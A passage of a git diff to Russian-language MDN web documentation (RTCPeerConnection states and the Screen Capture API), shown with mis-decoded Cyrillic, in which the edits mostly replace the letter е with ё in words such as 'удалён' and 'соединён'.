- <td>АгСнт ICE Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ» сборку ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ². Если ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ ICE сСрвСра), для Ρ‡Π΅Π³ΠΎ потрСбуСтся новая сборка ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ², статус ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β  "<code>gathering</code>" ΠΈ начнСтся пСрСсборка ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ².</td>
+ <td>АгСнт ICE Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ» сборку ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ². Если ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ ICE сСрвСра), для Ρ‡Π΅Π³ΠΎ потрСбуСтся новая сборка ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ², статус ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β  "<code>gathering</code>" ΠΈ начнётся пСрСсборка ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ².</td>
</tr>
</tbody>
</table>
@@ -202,7 +202,7 @@ translation_of: Web/API/RTCPeerConnection
</tr>
<tr>
<td><code>"public" </code>{{obsolete_inline}}</td>
- <td>Π‘ΡƒΠ΄ΡƒΡ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡΒ  ICE ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Ρ‹, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠ΅ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Π΅ IP адрСса. <em>Π£Π΄Π°Π»Π΅Π½ Π² спСцификации ΠΎΡ‚ 13 мая 2016Β (working draft).</em></td>
+ <td>Π‘ΡƒΠ΄ΡƒΡ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡΒ  ICE ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Ρ‹, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠ΅ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Π΅ IP адрСса. <em>Π£Π΄Π°Π»Ρ‘Π½ Π² спСцификации ΠΎΡ‚ 13 мая 2016Β (working draft).</em></td>
</tr>
<tr>
<td><code>"relay"</code></td>
@@ -233,11 +233,11 @@ translation_of: Web/API/RTCPeerConnection
</tr>
<tr>
<td><code>"connected"</code></td>
- <td>Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ICE ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉΡΡ соСдинСниСм Π»ΠΈΠ±ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ  (ΠΈΠΌΠ΅Π΅Ρ‚ статус <code>"connected"</code>Β ΠΈΠ»ΠΈΒ <code>"completed"</code>) , Π»ΠΈΠ±ΠΎ Π·Π°ΠΊΡ€Ρ‹Ρ‚Β  (ΠΈΠΌΠ΅Π΅Ρ‚ статус <code>"closed"</code>); ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ статус Π»ΠΈΠ±ΠΎΒ Β <code>"connected"</code>Β , Π»ΠΈΠ±ΠΎΒ <code>"completed"</code>.</td>
+ <td>Π‘ΠΎΠ΅Π΄ΠΈΠ½Ρ‘Π½. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ICE ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉΡΡ соСдинСниСм Π»ΠΈΠ±ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ  (ΠΈΠΌΠ΅Π΅Ρ‚ статус <code>"connected"</code>Β ΠΈΠ»ΠΈΒ <code>"completed"</code>) , Π»ΠΈΠ±ΠΎ Π·Π°ΠΊΡ€Ρ‹Ρ‚Β  (ΠΈΠΌΠ΅Π΅Ρ‚ статус <code>"closed"</code>); ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ статус Π»ΠΈΠ±ΠΎΒ Β <code>"connected"</code>Β , Π»ΠΈΠ±ΠΎΒ <code>"completed"</code>.</td>
</tr>
<tr>
<td><code>"disconnected"</code></td>
- <td>РазъСдинСн. По мСньшСй ΠΌΠ΅Ρ€Π΅ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ICE ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π² соСдинСнии ΠΈΠΌΠ΅Π΅Ρ‚ статус <code>"disconnected"</code>Β  ΠΈ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π½Π΅ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² статусС :Β <code>"failed"</code>, <code>"connecting"</code>, ΠΈΠ»ΠΈΒ Β <code>"checking"</code>.</td>
+ <td>Π Π°Π·ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½. По мСньшСй ΠΌΠ΅Ρ€Π΅ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ICE ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π² соСдинСнии ΠΈΠΌΠ΅Π΅Ρ‚ статус <code>"disconnected"</code>Β  ΠΈ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π½Π΅ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² статусС :Β <code>"failed"</code>, <code>"connecting"</code>, ΠΈΠ»ΠΈΒ Β <code>"checking"</code>.</td>
</tr>
<tr>
<td><code>"failed"</code></td>
@@ -301,15 +301,15 @@ translation_of: Web/API/RTCPeerConnection
</tr>
<tr>
<td><code>"have-remote-offer"</code></td>
- <td>Π˜ΠΌΠ΅Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅. Π£Π΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΈΡ€ создал ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅, использовал сСрвСр сигнализации для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ этого прСдлоТСния Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ установлСно ΠΈΠΌ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Ρ‡Π΅Ρ€Π΅Π· Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td>
+ <td>Π˜ΠΌΠ΅Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅. Π£Π΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΈΡ€ создал ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅, использовал сСрвСр сигнализации для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ этого прСдлоТСния Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ установлСно ΠΈΠΌ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Ρ‡Π΅Ρ€Π΅Π· Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td>
</tr>
<tr>
<td><code>"have-local-pranswer"</code></td>
- <td>Π˜ΠΌΠ΅Π΅Ρ‚ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚. ΠŸΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΈΡ€Π° Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΎ, ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ‹Π» создан (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Ρ‡Π΅Ρ€Π΅Π· Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("RTCPeerConnection.createAnswer()")}}) ΠΈ использовано Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° установки локального дСскриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Π­Ρ‚ΠΎΡ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ описываСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ ΠΌΠ΅Π΄ΠΈΠ° Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅. Но ΠΎΠ½ Π½Π΅ ΠΈΠΌΠ΅Π΅Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… Π² Π½Π΅Π³ΠΎΒ  ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° ICE ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ². ПозТС, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ доставлСны ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ.</td>
+ <td>Π˜ΠΌΠ΅Π΅Ρ‚ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚. ΠŸΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΠΈΡ€Π° Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΎ, ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ‹Π» создан (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Ρ‡Π΅Ρ€Π΅Π· Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("RTCPeerConnection.createAnswer()")}}) ΠΈ использовано Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° установки локального дСскриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Π­Ρ‚ΠΎΡ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ описываСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ ΠΌΠ΅Π΄ΠΈΠ° Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅. Но ΠΎΠ½ Π½Π΅ ΠΈΠΌΠ΅Π΅Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… Π² Π½Π΅Π³ΠΎΒ  ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° ICE ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ². ПозТС, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ доставлСны ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ.</td>
</tr>
<tr>
<td><code>"have-remote-pranswer"</code></td>
- <td>Π˜ΠΌΠ΅Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚. ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ‹Π» ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ Ρ€Π°Π½Π΅Π΅ ΠΈ установлСнноС ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>setLocalDescription()</code>.</td>
+ <td>Π˜ΠΌΠ΅Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚. ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ‹Π» ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ Ρ€Π°Π½Π΅Π΅ ΠΈ установлСнноС ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>setLocalDescription()</code>.</td>
</tr>
<tr>
<td><code>"closed"</code> {{obsolete_inline}}</td>
diff --git a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html
index 072496379e..25eaa93c7f 100644
--- a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html
+++ b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/RTCPeerConnection
---
<div>{{APIRef("WebRTC")}}</div>
-<p><span class="seoSummary">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β <strong><code>RTCPeerConnection()</code></strong>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Β Π½ΠΎΠ²Ρ‹ΠΉ ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ€Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("RTCPeerConnection")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт соСдинСниС ΠΌΠ΅ΠΆΠ΄Ρƒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ устройством ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌ ΠΏΠΈΡ€ΠΎΠΌ (участником соСдинСния)</span></p>
+<p><span class="seoSummary">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β <strong><code>RTCPeerConnection()</code></strong>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Β Π½ΠΎΠ²Ρ‹ΠΉ ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ€Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("RTCPeerConnection")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт соСдинСниС ΠΌΠ΅ΠΆΠ΄Ρƒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ устройством ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΠΈΡ€ΠΎΠΌ (участником соСдинСния)</span></p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html
index d9d89652c2..7677339be1 100644
--- a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html
+++ b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html
@@ -8,7 +8,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture
<p><span class="seoSummary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ изучаСтся использованиС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ интСрфСйса Β Screen Capture ΠΈ Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} для Π·Π°Ρ…Π²Π°Ρ‚Π° ΠΏΠΎΡ‚ΠΎΠΊΠ° экрана (всСго ΠΈΠ»ΠΈ Π΅Π³ΠΎ части), Π΅Π³ΠΎ записи ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Ρ‡Π΅Ρ€Π΅Π· сСссию <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>Β .</span></p>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ :</strong> ПолСзно ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ послСдниС вСрсии Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ <a href="https://github.com/webrtcHacks/adapter">WebRTC adapter.js</a>Β  Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>getDisplayMedia()</code> для ΠΎΠ±ΠΌΠ΅Π½Π° изобраТСниями с экрана Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Π³ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚, Π½ΠΎ Π΅Ρ‰Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ стандартный интСрфСйс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π² послСдних вСрсиях  Chrome, Edge, ΠΈΒ Firefox.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ :</strong> ПолСзно ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ послСдниС вСрсии Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ <a href="https://github.com/webrtcHacks/adapter">WebRTC adapter.js</a>Β  Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>getDisplayMedia()</code> для ΠΎΠ±ΠΌΠ΅Π½Π° изобраТСниями с экрана Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Π³ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚, Π½ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ стандартный интСрфСйс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π² послСдних вСрсиях  Chrome, Edge, ΠΈΒ Firefox.</p>
</div>
<h2 id="Π—Π°Ρ…Π²Π°Ρ‚_содСрТимого_экрана">Π—Π°Ρ…Π²Π°Ρ‚ содСрТимого экрана</h2>
@@ -41,7 +41,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture
.catch(err =&gt; { console.error("Error:" + err); return null; });
}</pre>
-<p>Π’ любом случаС {{Glossary("user agent")}} ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ интСрфСйса Π΄ΠΈΠ°Π»ΠΎΠ³Π°, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉΒ Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Ρ€Π°Π·ΠΌΠ΅Ρ€ области Π·Π°Ρ…Π²Π°Ρ‚Π° экрана. ОбС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>startCapture()</code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β  {{domxref("MediaStream")}} , содСрТащий Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½Π½ΠΎΠ΅ с экрана ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ (ΡΡŠΠ΅ΠΌΠΊΡƒΒ ?).</p>
+<p>Π’ любом случаС {{Glossary("user agent")}} ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ интСрфСйса Π΄ΠΈΠ°Π»ΠΎΠ³Π°, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉΒ Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Ρ€Π°Π·ΠΌΠ΅Ρ€ области Π·Π°Ρ…Π²Π°Ρ‚Π° экрана. ОбС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>startCapture()</code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β  {{domxref("MediaStream")}} , содСрТащий Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½Π½ΠΎΠ΅ с экрана ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ (ΡΡŠΡ‘ΠΌΠΊΡƒΒ ?).</p>
<p>Π‘ΠΌΠΎΡ‚Ρ€ΠΈΠΌΒ {{anch("Options and constraints")}}, Π½ΠΈΠΆΠ΅,Β ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Ρ‚ΠΈΠΏ повСрхности, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… способах настройки Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°.</p>
@@ -55,13 +55,13 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture
<h3 id="Π’ΠΈΠ΄ΠΈΠΌΡ‹Π΅_ΠΈΠ»ΠΈ_логичСскиС_повСрхности_отобраТСния">Π’ΠΈΠ΄ΠΈΠΌΡ‹Π΅Β ΠΈΠ»ΠΈ логичСскиС  повСрхности отобраТСния</h3>
